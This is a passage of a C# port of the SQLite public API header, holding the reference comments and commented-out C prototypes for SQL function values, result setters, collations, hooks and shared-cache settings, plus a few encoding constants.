(*xFinal)(sqlite3_context*)\n    //);\n    //SQLITE_API int sqlite3_create_function16(\n    //  sqlite3 *db,\n    //  const void *zFunctionName,\n    //  int nArg,\n    //  int eTextRep,\n    //  void *pApp,\n    //  void (*xFunc)(sqlite3_context*,int,sqlite3_value**),\n    //  void (*xStep)(sqlite3_context*,int,sqlite3_value**),\n    //  void (*xFinal)(sqlite3_context*)\n    //);\n\n    /*\n    ** CAPI3REF: Text Encodings {H10267} <S50200> <H16100>\n    **\n    ** These constant define integer codes that represent the various\n    ** text encodings supported by SQLite.\n    */\n    //#define SQLITE_UTF8           1\n    //#define SQLITE_UTF16LE        2\n    //#define SQLITE_UTF16BE        3\n    //#define SQLITE_UTF16          4    /* Use native byte order */\n    //#define SQLITE_ANY            5    /* sqlite3_create_function only */\n    //#define SQLITE_UTF16_ALIGNED  8    /* sqlite3_create_collation only */\n    public const u8 SQLITE_UTF8 = 1;\n    public const u8 SQLITE_UTF16LE = 2;\n    public const u8 SQLITE_UTF16BE = 3;\n    public const u8 SQLITE_UTF16 = 4;\n    public const u8 SQLITE_ANY = 5;\n    public const u8 SQLITE_UTF16_ALIGNED = 8;\n\n    /*\n    ** CAPI3REF: Deprecated Functions\n    ** DEPRECATED\n    **\n    ** These functions are [deprecated].  In order to maintain\n    ** backwards compatibility with older code, these functions continue \n    ** to be supported.  However, new applications should avoid\n    ** the use of these functions.  To help encourage people to avoid\n    ** using these functions, we are not going to tell you what they do.\n    */\n#if !SQLITE_OMIT_DEPRECATED\n//SQLITE_API SQLITE_DEPRECATED int sqlite3_aggregate_count(sqlite3_context*);\n//SQLITE_API SQLITE_DEPRECATED int sqlite3_expired(sqlite3_stmt*);\n//SQLITE_API SQLITE_DEPRECATED int sqlite3_transfer_bindings(sqlite3_stmt*, sqlite3_stmt*);\n//SQLITE_API SQLITE_DEPRECATED int sqlite3_global_recover(void);\n//SQLITE_API SQLITE_DEPRECATED void sqlite3_thread_cleanup(void);\n//SQLITE_API SQLITE_DEPRECATED int sqlite3_memory_alarm(void(*)(void*,sqlite3_int64,int),void*,sqlite3_int64);\n#endif\n\n    /*\n** CAPI3REF: Obtaining SQL Function Parameter Values {H15100} <S20200>\n**\n** The C-language implementation of SQL functions and aggregates uses\n** this set of interface routines to access the parameter values on\n** the function or aggregate.\n**\n** The xFunc (for scalar functions) or xStep (for aggregates) parameters\n** to [sqlite3_create_function()] and [sqlite3_create_function16()]\n** define callbacks that implement the SQL functions and aggregates.\n** The 4th parameter to these callbacks is an array of pointers to\n** [protected sqlite3_value] objects.  There is one [sqlite3_value] object for\n** each parameter to the SQL function.  These routines are used to\n** extract values from the [sqlite3_value] objects.\n**\n** These routines work only with [protected sqlite3_value] objects.\n** Any attempt to use these routines on an [unprotected sqlite3_value]\n** object results in undefined behavior.\n**\n** These routines work just like the corresponding [column access functions]\n** except that  these routines take a single [protected sqlite3_value] object\n** pointer instead of a [sqlite3_stmt*] pointer and an integer column number.\n**\n** The sqlite3_value_text16() interface extracts a UTF-16 string\n** in the native byte-order of the host machine.  The\n** sqlite3_value_text16be() and sqlite3_value_text16le() interfaces\n** extract UTF-16 strings as big-endian and little-endian respectively.\n**\n** The sqlite3_value_numeric_type() interface attempts to apply\n** numeric affinity to the value.  This means that an attempt is\n** made to convert the value to an integer or floating point.  If\n** such a conversion is possible without loss of information (in other\n** words, if the value is a string that looks like a number)\n** then the conversion is performed.  Otherwise no conversion occurs.\n** The [SQLITE_INTEGER | datatype] after conversion is returned.\n**\n** Please pay particular attention to the fact that the pointer returned\n** from [sqlite3_value_blob()], [sqlite3_value_text()], or\n** [sqlite3_value_text16()] can be invalidated by a subsequent call to\n** [sqlite3_value_bytes()], [sqlite3_value_bytes16()], [sqlite3_value_text()],\n** or [sqlite3_value_text16()].\n**\n** These routines must be called from the same thread as\n** the SQL function that supplied the [sqlite3_value*] parameters.\n**\n** Requirements:\n** [H15103] [H15106] [H15109] [H15112] [H15115] [H15118] [H15121] [H15124]\n** [H15127] [H15130] [H15133] [H15136]\n*/\n    //SQLITE_API const void *sqlite3_value_blob(sqlite3_value*);\n    //SQLITE_API int sqlite3_value_bytes(sqlite3_value*);\n    //SQLITE_API int sqlite3_value_bytes16(sqlite3_value*);\n    //SQLITE_API double sqlite3_value_double(sqlite3_value*);\n    //SQLITE_API int sqlite3_value_int(sqlite3_value*);\n    //SQLITE_API sqlite3_int64 sqlite3_value_int64(sqlite3_value*);\n    //SQLITE_API const unsigned char *sqlite3_value_text(sqlite3_value*);\n    //SQLITE_API const void *sqlite3_value_text16(sqlite3_value*);\n    //SQLITE_API const void *sqlite3_value_text16le(sqlite3_value*);\n    //SQLITE_API const void *sqlite3_value_text16be(sqlite3_value*);\n    //SQLITE_API int sqlite3_value_type(sqlite3_value*);\n    //SQLITE_API int sqlite3_value_numeric_type(sqlite3_value*);\n\n    /*\n    ** CAPI3REF: Obtain Aggregate Function Context {H16210} <S20200>\n    **\n    ** The implementation of aggregate SQL functions use this routine to allocate\n    ** a structure for storing their state.\n    **\n    ** The first time the sqlite3_aggregate_context() routine is called for a\n    ** particular aggregate, SQLite allocates nBytes of memory, zeroes out that\n    ** memory, and returns a pointer to it. On second and subsequent calls to\n    ** sqlite3_aggregate_context() for the same aggregate function index,\n    ** the same buffer is returned. The implementation of the aggregate can use\n    ** the returned buffer to accumulate data.\n    **\n    ** SQLite automatically frees the allocated buffer when the aggregate\n    ** query concludes.\n    **\n    ** The first parameter should be a copy of the\n    ** [sqlite3_context | SQL function context] that is the first parameter\n    ** to the callback routine that implements the aggregate function.\n    **\n    ** This routine must be called from the same thread in which\n    ** the aggregate SQL function is running.\n    **\n    ** Requirements:\n    ** [H16211] [H16213] [H16215] [H16217]\n    */\n    //SQLITE_API void *sqlite3_aggregate_context(sqlite3_context*, int nBytes);\n\n    /*\n    ** CAPI3REF: User Data For Functions {H16240} <S20200>\n    **\n    ** The sqlite3_user_data() interface returns a copy of\n    ** the pointer that was the pUserData parameter (the 5th parameter)\n    ** of the [sqlite3_create_function()]\n    ** and [sqlite3_create_function16()] routines that originally\n    ** registered the application defined function. {END}\n    **\n    ** This routine must be called from the same thread in which\n    ** the application-defined function is running.\n    **\n    ** Requirements:\n    ** [H16243]\n    */\n    //SQLITE_API void *sqlite3_user_data(sqlite3_context*);\n\n    /*\n    ** CAPI3REF: Database Connection For Functions {H16250} <S60600><S20200>\n    **\n    ** The sqlite3_context_db_handle() interface returns a copy of\n    ** the pointer to the [database connection] (the 1st parameter)\n    ** of the [sqlite3_create_function()]\n    ** and [sqlite3_create_function16()] routines that originally\n    ** registered the application defined function.\n    **\n    ** Requirements:\n    ** [H16253]\n    */\n    //SQLITE_API sqlite3 *sqlite3_context_db_handle(sqlite3_context*);\n\n    /*\n    ** CAPI3REF: Function Auxiliary Data {H16270} <S20200>\n    **\n    ** The following two functions may be used by scalar SQL functions to\n    ** associate metadata with argument values. If the same value is passed to\n    ** multiple invocations of the same SQL function during query execution, under\n    ** some circumstances the associated metadata may be preserved. This may\n    ** be used, for example, to add a regular-expression matching scalar\n    ** function. The compiled version of the regular expression is stored as\n    ** metadata associated with the SQL value passed as the regular expression\n    ** pattern.  The compiled regular expression can be reused on multiple\n    ** invocations of the same function so that the original pattern string\n    ** does not need to be recompiled on each invocation.\n    **\n    ** The sqlite3_get_auxdata() interface returns a pointer to the metadata\n    ** associated by the sqlite3_set_auxdata() function with the Nth argument\n    ** value to the application-defined function. If no metadata has been ever\n    ** been set for the Nth argument of the function, or if the corresponding\n    ** function parameter has changed since the meta-data was set,\n    ** then sqlite3_get_auxdata() returns a NULL pointer.\n    **\n    ** The sqlite3_set_auxdata() interface saves the metadata\n    ** pointed to by its 3rd parameter as the metadata for the N-th\n    ** argument of the application-defined function.  Subsequent\n    ** calls to sqlite3_get_auxdata() might return this data, if it has\n    ** not been destroyed.\n    ** If it is not NULL, SQLite will invoke the destructor\n    ** function given by the 4th parameter to sqlite3_set_auxdata() on\n    ** the metadata when the corresponding function parameter changes\n    ** or when the SQL statement completes, whichever comes first.\n    **\n    ** SQLite is free to call the destructor and drop metadata on any\n    ** parameter of any function at any time.  The only guarantee is that\n    ** the destructor will be called before the metadata is dropped.\n    **\n    ** In practice, metadata is preserved between function calls for\n    ** expressions that are constant at compile time. This includes literal\n    ** values and SQL variables.\n    **\n    ** These routines must be called from the same thread in which\n    ** the SQL function is running.\n    **\n    ** Requirements:\n    ** [H16272] [H16274] [H16276] [H16277] [H16278] [H16279]\n    */\n    //SQLITE_API void *sqlite3_get_auxdata(sqlite3_context*, int N);\n    //SQLITE_API void sqlite3_set_auxdata(sqlite3_context*, int N, void*, void (*)(void*));\n\n\n    /*\n    ** CAPI3REF: Constants Defining Special Destructor Behavior {H10280} <S30100>\n    **\n    ** These are special values for the destructor that is passed in as the\n    ** final argument to routines like [sqlite3_result_blob()].  If the destructor\n    ** argument is SQLITE_STATIC, it means that the content pointer is constant\n    ** and will never change.  It does not need to be destroyed.  The\n    ** SQLITE_TRANSIENT value means that the content will likely change in\n    ** the near future and that SQLite should make its own private copy of\n    ** the content before returning.\n    **\n    ** The typedef is necessary to work around problems in certain\n    ** C++ compilers.  See ticket #2191.\n    */\n    //typedef void (*sqlite3_destructor_type)(void*);\n    //#define SQLITE_STATIC      ((sqlite3_destructor_type)0)\n    //#define SQLITE_TRANSIENT   ((sqlite3_destructor_type)-1)\n    public static dxDel SQLITE_STATIC;\n    public static dxDel SQLITE_TRANSIENT;\n\n    /*\n    ** CAPI3REF: Setting The Result Of An SQL Function {H16400} <S20200>\n    **\n    ** These routines are used by the xFunc or xFinal callbacks that\n    ** implement SQL functions and aggregates.  See\n    ** [sqlite3_create_function()] and [sqlite3_create_function16()]\n    ** for additional information.\n    **\n    ** These functions work very much like the [parameter binding] family of\n    ** functions used to bind values to host parameters in prepared statements.\n    ** Refer to the [SQL parameter] documentation for additional information.\n    **\n    ** The sqlite3_result_blob() interface sets the result from\n    ** an application-defined function to be the BLOB whose content is pointed\n    ** to by the second parameter and which is N bytes long where N is the\n    ** third parameter.\n    **\n    ** The sqlite3_result_zeroblob() interfaces set the result of\n    ** the application-defined function to be a BLOB containing all zero\n    ** bytes and N bytes in size, where N is the value of the 2nd parameter.\n    **\n    ** The sqlite3_result_double() interface sets the result from\n    ** an application-defined function to be a floating point value specified\n    ** by its 2nd argument.\n    **\n    ** The sqlite3_result_error() and sqlite3_result_error16() functions\n    ** cause the implemented SQL function to throw an exception.\n    ** SQLite uses the string pointed to by the\n    ** 2nd parameter of sqlite3_result_error() or sqlite3_result_error16()\n    ** as the text of an error message.  SQLite interprets the error\n    ** message string from sqlite3_result_error() as UTF-8. SQLite\n    ** interprets the string from sqlite3_result_error16() as UTF-16 in native\n    ** byte order.  If the third parameter to sqlite3_result_error()\n    ** or sqlite3_result_error16() is negative then SQLite takes as the error\n    ** message all text up through the first zero character.\n    ** If the third parameter to sqlite3_result_error() or\n    ** sqlite3_result_error16() is non-negative then SQLite takes that many\n    ** bytes (not characters) from the 2nd parameter as the error message.\n    ** The sqlite3_result_error() and sqlite3_result_error16()\n    ** routines make a private copy of the error message text before\n    ** they return.  Hence, the calling function can deallocate or\n    ** modify the text after they return without harm.\n    ** The sqlite3_result_error_code() function changes the error code\n    ** returned by SQLite as a result of an error in a function.  By default,\n    ** the error code is SQLITE_ERROR.  A subsequent call to sqlite3_result_error()\n    ** or sqlite3_result_error16() resets the error code to SQLITE_ERROR.\n    **\n    ** The sqlite3_result_toobig() interface causes SQLite to throw an error\n    ** indicating that a string or BLOB is to long to represent.\n    **\n    ** The sqlite3_result_nomem() interface causes SQLite to throw an error\n    ** indicating that a memory allocation failed.\n    **\n    ** The sqlite3_result_int() interface sets the return value\n    ** of the application-defined function to be the 32-bit signed integer\n    ** value given in the 2nd argument.\n    ** The sqlite3_result_int64() interface sets the return value\n    ** of the application-defined function to be the 64-bit signed integer\n    ** value given in the 2nd argument.\n    **\n    ** The sqlite3_result_null() interface sets the return value\n    ** of the application-defined function to be NULL.\n    **\n    ** The sqlite3_result_text(), sqlite3_result_text16(),\n    ** sqlite3_result_text16le(), and sqlite3_result_text16be() interfaces\n    ** set the return value of the application-defined function to be\n    ** a text string which is represented as UTF-8, UTF-16 native byte order,\n    ** UTF-16 little endian, or UTF-16 big endian, respectively.\n    ** SQLite takes the text result from the application from\n    ** the 2nd parameter of the sqlite3_result_text* interfaces.\n    ** If the 3rd parameter to the sqlite3_result_text* interfaces\n    ** is negative, then SQLite takes result text from the 2nd parameter\n    ** through the first zero character.\n    ** If the 3rd parameter to the sqlite3_result_text* interfaces\n    ** is non-negative, then as many bytes (not characters) of the text\n    ** pointed to by the 2nd parameter are taken as the application-defined\n    ** function result.\n    ** If the 4th parameter to the sqlite3_result_text* interfaces\n    ** or sqlite3_result_blob is a non-NULL pointer, then SQLite calls that\n    ** function as the destructor on the text or BLOB result when it has\n    ** finished using that result.\n    ** If the 4th parameter to the sqlite3_result_text* interfaces or\n    ** sqlite3_result_blob is the special constant SQLITE_STATIC, then SQLite\n    ** assumes that the text or BLOB result is in constant space and does not\n    ** copy the it or call a destructor when it has finished using that result.\n    ** If the 4th parameter to the sqlite3_result_text* interfaces\n    ** or sqlite3_result_blob is the special constant SQLITE_TRANSIENT\n    ** then SQLite makes a copy of the result into space obtained from\n    ** from [sqlite3_malloc()] before it returns.\n    **\n    ** The sqlite3_result_value() interface sets the result of\n    ** the application-defined function to be a copy the\n    ** [unprotected sqlite3_value] object specified by the 2nd parameter.  The\n    ** sqlite3_result_value() interface makes a copy of the [sqlite3_value]\n    ** so that the [sqlite3_value] specified in the parameter may change or\n    ** be deallocated after sqlite3_result_value() returns without harm.\n    ** A [protected sqlite3_value] object may always be used where an\n    ** [unprotected sqlite3_value] object is required, so either\n    ** kind of [sqlite3_value] object can be used with this interface.\n    **\n    ** If these routines are called from within the different thread\n    ** than the one containing the application-defined function that received\n    ** the [sqlite3_context] pointer, the results are undefined.\n    **\n    ** Requirements:\n    ** [H16403] [H16406] [H16409] [H16412] [H16415] [H16418] [H16421] [H16424]\n    ** [H16427] [H16430] [H16433] [H16436] [H16439] [H16442] [H16445] [H16448]\n    ** [H16451] [H16454] [H16457] [H16460] [H16463]\n    */\n    //SQLITE_API void sqlite3_result_blob(sqlite3_context*, const void*, int, void(*)(void*));\n    //SQLITE_API void sqlite3_result_double(sqlite3_context*, double);\n    //SQLITE_API void sqlite3_result_error(sqlite3_context*, const char*, int);\n    //SQLITE_API void sqlite3_result_error16(sqlite3_context*, const void*, int);\n    //SQLITE_API void sqlite3_result_error_toobig(sqlite3_context*);\n    //SQLITE_API void sqlite3_result_error_nomem(sqlite3_context*);\n    //SQLITE_API void sqlite3_result_error_code(sqlite3_context*, int);\n    //SQLITE_API void sqlite3_result_int(sqlite3_context*, int);\n    //SQLITE_API void sqlite3_result_int64(sqlite3_context*, sqlite3_int64);\n    //SQLITE_API void sqlite3_result_null(sqlite3_context*);\n    //SQLITE_API void sqlite3_result_text(sqlite3_context*, const char*, int, void(*)(void*));\n    //SQLITE_API void sqlite3_result_text16(sqlite3_context*, const void*, int, void(*)(void*));\n    //SQLITE_API void sqlite3_result_text16le(sqlite3_context*, const void*, int,void(*)(void*));\n    //SQLITE_API void sqlite3_result_text16be(sqlite3_context*, const void*, int,void(*)(void*));\n    //SQLITE_API void sqlite3_result_value(sqlite3_context*, sqlite3_value*);\n    //SQLITE_API void sqlite3_result_zeroblob(sqlite3_context*, int n);\n\n    /*\n    ** CAPI3REF: Define New Collating Sequences {H16600} <S20300>\n    **\n    ** These functions are used to add new collation sequences to the\n    ** [database connection] specified as the first argument.\n    **\n    ** The name of the new collation sequence is specified as a UTF-8 string\n    ** for sqlite3_create_collation() and sqlite3_create_collation_v2()\n    ** and a UTF-16 string for sqlite3_create_collation16(). In all cases\n    ** the name is passed as the second function argument.\n    **\n    ** The third argument may be one of the constants [SQLITE_UTF8],\n    ** [SQLITE_UTF16LE], or [SQLITE_UTF16BE], indicating that the user-supplied\n    ** routine expects to be passed pointers to strings encoded using UTF-8,\n    ** UTF-16 little-endian, or UTF-16 big-endian, respectively. The\n    ** third argument might also be [SQLITE_UTF16] to indicate that the routine\n    ** expects pointers to be UTF-16 strings in the native byte order, or the\n    ** argument can be [SQLITE_UTF16_ALIGNED] if the\n    ** the routine expects pointers to 16-bit word aligned strings\n    ** of UTF-16 in the native byte order.\n    **\n    ** A pointer to the user supplied routine must be passed as the fifth\n    ** argument.  If it is NULL, this is the same as deleting the collation\n    ** sequence (so that SQLite cannot call it anymore).\n    ** Each time the application supplied function is invoked, it is passed\n    ** as its first parameter a copy of the void* passed as the fourth argument\n    ** to sqlite3_create_collation() or sqlite3_create_collation16().\n    **\n    ** The remaining arguments to the application-supplied routine are two strings,\n    ** each represented by a (length, data) pair and encoded in the encoding\n    ** that was passed as the third argument when the collation sequence was\n    ** registered. {END}  The application defined collation routine should\n    ** return negative, zero or positive if the first string is less than,\n    ** equal to, or greater than the second string. i.e. (STRING1 - STRING2).\n    **\n    ** The sqlite3_create_collation_v2() works like sqlite3_create_collation()\n    ** except that it takes an extra argument which is a destructor for\n    ** the collation.  The destructor is called when the collation is\n    ** destroyed and is passed a copy of the fourth parameter void* pointer\n    ** of the sqlite3_create_collation_v2().\n    ** Collations are destroyed when they are overridden by later calls to the\n    ** collation creation functions or when the [database connection] is closed\n    ** using [sqlite3_close()].\n    **\n    ** See also:  [sqlite3_collation_needed()] and [sqlite3_collation_needed16()].\n    **\n    ** Requirements:\n    ** [H16603] [H16604] [H16606] [H16609] [H16612] [H16615] [H16618] [H16621]\n    ** [H16624] [H16627] [H16630]\n    */\n    //SQLITE_API int sqlite3_create_collation(\n    ////  sqlite3*, \n    //  const char *zName, \n    //  int eTextRep, \n    //  void*,\n    //  int(*xCompare)(void*,int,const void*,int,const void*)\n    //);\n    //SQLITE_API int sqlite3_create_collation_v2(\n    ////  sqlite3*, \n    //  const char *zName, \n    //  int eTextRep, \n    //  void*,\n    //  int(*xCompare)(void*,int,const void*,int,const void*),\n    //  void(*xDestroy)(void*)\n    //);\n    //SQLITE_API int sqlite3_create_collation16(\n    ////  sqlite3*, \n    //  const void *zName,\n    //  int eTextRep, \n    //  void*,\n    //  int(*xCompare)(void*,int,const void*,int,const void*)\n    //);\n\n    /*\n    ** CAPI3REF: Collation Needed Callbacks {H16700} <S20300>\n    **\n    ** To avoid having to register all collation sequences before a database\n    ** can be used, a single callback function may be registered with the\n    ** [database connection] to be called whenever an undefined collation\n    ** sequence is required.\n    **\n    ** If the function is registered using the sqlite3_collation_needed() API,\n    ** then it is passed the names of undefined collation sequences as strings\n    ** encoded in UTF-8. {H16703} If sqlite3_collation_needed16() is used,\n    ** the names are passed as UTF-16 in machine native byte order.\n    ** A call to either function replaces any existing callback.\n    **\n    ** When the callback is invoked, the first argument passed is a copy\n    ** of the second argument to sqlite3_collation_needed() or\n    ** sqlite3_collation_needed16().  The second argument is the database\n    ** connection.  The third argument is one of [SQLITE_UTF8], [SQLITE_UTF16BE],\n    ** or [SQLITE_UTF16LE], indicating the most desirable form of the collation\n    ** sequence function required.  The fourth parameter is the name of the\n    ** required collation sequence.\n    **\n    ** The callback function should register the desired collation using\n    ** [sqlite3_create_collation()], [sqlite3_create_collation16()], or\n    ** [sqlite3_create_collation_v2()].\n    **\n    ** Requirements:\n    ** [H16702] [H16704] [H16706]\n    */\n    //SQLITE_API int sqlite3_collation_needed(\n    //  sqlite3*, \n    //  void*, \n    //  void(*)(void*,sqlite3*,int eTextRep,const char*)\n    //);\n    //SQLITE_API int sqlite3_collation_needed16(\n    //  sqlite3*, \n    //  void*,\n    //  void(*)(void*,sqlite3*,int eTextRep,const void*)\n    //);\n\n    /*\n    ** Specify the key for an encrypted database.  This routine should be\n    ** called right after sqlite3_open().\n    **\n    ** The code to implement this API is not available in the public release\n    ** of SQLite.\n    */\n    //SQLITE_API int sqlite3_key(\n    //  sqlite3 *db,                   /* Database to be rekeyed */\n    //  const void *pKey, int nKey     /* The key */\n    //);\n\n    /*\n    ** Change the key on an open database.  If the current database is not\n    ** encrypted, this routine will encrypt it.  If pNew==0 or nNew==0, the\n    ** database is decrypted.\n    **\n    ** The code to implement this API is not available in the public release\n    ** of SQLite.\n    */\n    //SQLITE_API int sqlite3_rekey(\n    //  sqlite3 *db,                   /* Database to be rekeyed */\n    //  const void *pKey, int nKey     /* The new key */\n    //);\n\n    /*\n    ** CAPI3REF: Suspend Execution For A Short Time {H10530} <S40410>\n    **\n    ** The sqlite3_sleep() function causes the current thread to suspend execution\n    ** for at least a number of milliseconds specified in its parameter.\n    **\n    ** If the operating system does not support sleep requests with\n    ** millisecond time resolution, then the time will be rounded up to\n    ** the nearest second. The number of milliseconds of sleep actually\n    ** requested from the operating system is returned.\n    **\n    ** SQLite implements this interface by calling the xSleep()\n    ** method of the default [sqlite3_vfs] object.\n    **\n    ** Requirements: [H10533] [H10536]\n    */\n    //SQLITE_API int sqlite3_sleep(int);\n\n    /*\n    ** CAPI3REF: Name Of The Folder Holding Temporary Files {H10310} <S20000>\n    **\n    ** If this global variable is made to point to a string which is\n    ** the name of a folder (a.k.a. directory), then all temporary files\n    ** created by SQLite will be placed in that directory.  If this variable\n    ** is a NULL pointer, then SQLite performs a search for an appropriate\n    ** temporary file directory.\n    **\n    ** It is not safe to read or modify this variable in more than one\n    ** thread at a time.  It is not safe to read or modify this variable\n    ** if a [database connection] is being used at the same time in a separate\n    ** thread.\n    ** It is intended that this variable be set once\n    ** as part of process initialization and before any SQLite interface\n    ** routines have been called and that this variable remain unchanged\n    ** thereafter.\n    **\n    ** The [temp_store_directory pragma] may modify this variable and cause\n    ** it to point to memory obtained from [sqlite3_malloc].  Furthermore,\n    ** the [temp_store_directory pragma] always assumes that any string\n    ** that this variable points to is held in memory obtained from \n    ** [sqlite3_malloc] and the pragma may attempt to free that memory\n    ** using [sqlite3_free].\n    ** Hence, if this variable is modified directly, either it should be\n    ** made NULL or made to point to memory obtained from [sqlite3_malloc]\n    ** or else the use of the [temp_store_directory pragma] should be avoided.\n    */\n    //SQLITE_API SQLITE_EXTERN char *sqlite3_temp_directory;\n\n    /*\n    ** CAPI3REF: Test For Auto-Commit Mode {H12930} <S60200>\n    ** KEYWORDS: {autocommit mode}\n    **\n    ** The sqlite3_get_autocommit() interface returns non-zero or\n    ** zero if the given database connection is or is not in autocommit mode,\n    ** respectively.  Autocommit mode is on by default.\n    ** Autocommit mode is disabled by a [BEGIN] statement.\n    ** Autocommit mode is re-enabled by a [COMMIT] or [ROLLBACK].\n    **\n    ** If certain kinds of errors occur on a statement within a multi-statement\n    ** transaction (errors including [SQLITE_FULL], [SQLITE_IOERR],\n    ** [SQLITE_NOMEM], [SQLITE_BUSY], and [SQLITE_INTERRUPT]) then the\n    ** transaction might be rolled back automatically.  The only way to\n    ** find out whether SQLite automatically rolled back the transaction after\n    ** an error is to use this function.\n    **\n    ** If another thread changes the autocommit status of the database\n    ** connection while this routine is running, then the return value\n    ** is undefined.\n    **\n    ** Requirements: [H12931] [H12932] [H12933] [H12934]\n    */\n    //SQLITE_API int sqlite3_get_autocommit(sqlite3*);\n\n    /*\n    ** CAPI3REF: Find The Database Handle Of A Prepared Statement {H13120} <S60600>\n    **\n    ** The sqlite3_db_handle interface returns the [database connection] handle\n    ** to which a [prepared statement] belongs.  The [database connection]\n    ** returned by sqlite3_db_handle is the same [database connection] that was the first argument\n    ** to the [sqlite3_prepare_v2()] call (or its variants) that was used to\n    ** create the statement in the first place.\n    **\n    ** Requirements: [H13123]\n    */\n    //SQLITE_API sqlite3 *sqlite3_db_handle(sqlite3_stmt*);\n\n    /*\n    ** CAPI3REF: Find the next prepared statement {H13140} <S60600>\n    **\n    ** This interface returns a pointer to the next [prepared statement] after\n    ** pStmt associated with the [database connection] pDb.  If pStmt is NULL\n    ** then this interface returns a pointer to the first prepared statement\n    ** associated with the database connection pDb.  If no prepared statement\n    ** satisfies the conditions of this routine, it returns NULL.\n    **\n    ** The [database connection] pointer D in a call to\n    ** [sqlite3_next_stmt(D,S)] must refer to an open database\n    ** connection and in particular must not be a NULL pointer.\n    **\n    ** Requirements: [H13143] [H13146] [H13149] [H13152]\n    */\n    //SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt);\n\n    /*\n    ** CAPI3REF: Commit And Rollback Notification Callbacks {H12950} <S60400>\n    **\n    ** The sqlite3_commit_hook() interface registers a callback\n    ** function to be invoked whenever a transaction is [COMMIT | committed].\n    ** Any callback set by a previous call to sqlite3_commit_hook()\n    ** for the same database connection is overridden.\n    ** The sqlite3_rollback_hook() interface registers a callback\n    ** function to be invoked whenever a transaction is [ROLLBACK | rolled back].\n    ** Any callback set by a previous call to sqlite3_commit_hook()\n    ** for the same database connection is overridden.\n    ** The pArg argument is passed through to the callback.\n    ** If the callback on a commit hook function returns non-zero,\n    ** then the commit is converted into a rollback.\n    **\n    ** If another function was previously registered, its\n    ** pArg value is returned.  Otherwise NULL is returned.\n    **\n    ** The callback implementation must not do anything that will modify\n    ** the database connection that invoked the callback.  Any actions\n    ** to modify the database connection must be deferred until after the\n    ** completion of the [sqlite3_step()] call that triggered the commit\n    ** or rollback hook in the first place.\n    ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their\n    ** database connections for the meaning of \"modify\" in this paragraph.\n    **\n    ** Registering a NULL function disables the callback.\n    **\n    ** When the commit hook callback routine returns zero, the [COMMIT]\n    ** operation is allowed to continue normally.  If the commit hook\n    ** returns non-zero, then the [COMMIT] is converted into a [ROLLBACK].\n    ** The rollback hook is invoked on a rollback that results from a commit\n    ** hook returning non-zero, just as it would be with any other rollback.\n    **\n    ** For the purposes of this API, a transaction is said to have been\n    ** rolled back if an explicit \"ROLLBACK\" statement is executed, or\n    ** an error or constraint causes an implicit rollback to occur.\n    ** The rollback callback is not invoked if a transaction is\n    ** automatically rolled back because the database connection is closed.\n    ** The rollback callback is not invoked if a transaction is\n    ** rolled back because a commit callback returned non-zero.\n    ** <todo> Check on this </todo>\n    **\n    ** See also the [sqlite3_update_hook()] interface.\n    **\n    ** Requirements:\n    ** [H12951] [H12952] [H12953] [H12954] [H12955]\n    ** [H12961] [H12962] [H12963] [H12964]\n    */\n    //SQLITE_API void *sqlite3_commit_hook(sqlite3*, int(*)(void*), void*);\n    //SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void(*)(void *), void*);\n\n    /*\n    ** CAPI3REF: Data Change Notification Callbacks {H12970} <S60400>\n    **\n    ** The sqlite3_update_hook() interface registers a callback function\n    ** with the [database connection] identified by the first argument\n    ** to be invoked whenever a row is updated, inserted or deleted.\n    ** Any callback set by a previous call to this function\n    ** for the same database connection is overridden.\n    **\n    ** The second argument is a pointer to the function to invoke when a\n    ** row is updated, inserted or deleted.\n    ** The first argument to the callback is a copy of the third argument\n    ** to sqlite3_update_hook().\n    ** The second callback argument is one of [SQLITE_INSERT], [SQLITE_DELETE],\n    ** or [SQLITE_UPDATE], depending on the operation that caused the callback\n    ** to be invoked.\n    ** The third and fourth arguments to the callback contain pointers to the\n    ** database and table name containing the affected row.\n    ** The final callback parameter is the [rowid] of the row.\n    ** In the case of an update, this is the [rowid] after the update takes place.\n    **\n    ** The update hook is not invoked when internal system tables are\n    ** modified (i.e. sqlite_master and sqlite_sequence).\n    **\n    ** In the current implementation, the update hook\n    ** is not invoked when duplication rows are deleted because of an\n    ** [ON CONFLICT | ON CONFLICT REPLACE] clause.  Nor is the update hook\n    ** invoked when rows are deleted using the [truncate optimization].\n    ** The exceptions defined in this paragraph might change in a future\n    ** release of SQLite.\n    **\n    ** The update hook implementation must not do anything that will modify\n    ** the database connection that invoked the update hook.  Any actions\n    ** to modify the database connection must be deferred until after the\n    ** completion of the [sqlite3_step()] call that triggered the update hook.\n    ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their\n    ** database connections for the meaning of \"modify\" in this paragraph.\n    **\n    ** If another function was previously registered, its pArg value\n    ** is returned.  Otherwise NULL is returned.\n    **\n    ** See also the [sqlite3_commit_hook()] and [sqlite3_rollback_hook()]\n    ** interfaces.\n    **\n    ** Requirements:\n    ** [H12971] [H12973] [H12975] [H12977] [H12979] [H12981] [H12983] [H12986]\n    */\n    //SQLITE_API void *sqlite3_update_hook(\n    //  sqlite3*, \n    //  void(*)(void *,int ,char const *,char const *,sqlite3_int64),\n    //  void*\n    //);\n\n    /*\n    ** CAPI3REF: Enable Or Disable Shared Pager Cache {H10330} <S30900>\n    ** KEYWORDS: {shared cache}\n    **\n    ** This routine enables or disables the sharing of the database cache\n    ** and schema data structures between [database connection | connections]\n    ** to the same database. Sharing is enabled if the argument is true\n    ** and disabled if the argument is false.\n    **\n    ** Cache sharing is enabled and disabled for an entire process.\n    ** This is a change as of SQLite version 3.5.0. In prior versions of SQLite,\n    ** sharing was enabled or disabled for each thread separately.\n    **\n    ** The cache sharing mode set by this interface effects all subsequent\n    ** calls to [sqlite3_open()], [sqlite3_open_v2()], and [sqlite3_open16()].\n    ** Existing database connections continue use the sharing mode\n    ** that was in effect at the time they were opened.\n    **\n    ** Virtual tables cannot be used with a shared cache.  When shared\n    ** cache is enabled, the [sqlite3_create_module()] API used to register\n    ** virtual tables will always return an error.\n    **\n    ** This routine returns [SQLITE_OK] if shared cache was enabled or disabled\n    ** successfully.  An [error code] is returned otherwise.\n    **\n    ** Shared cache is disabled by default. But this might change in\n    ** future releases of SQLite.  Applications that care about shared\n    ** cache setting should set it explicitly.\n    **\n    ** See Also:  [SQLite Shared-Cache Mode]\n    **\n    ** Requirements: [H10331] [H10336] [H10337] [H10339]\n    */\n    //SQLITE_API int 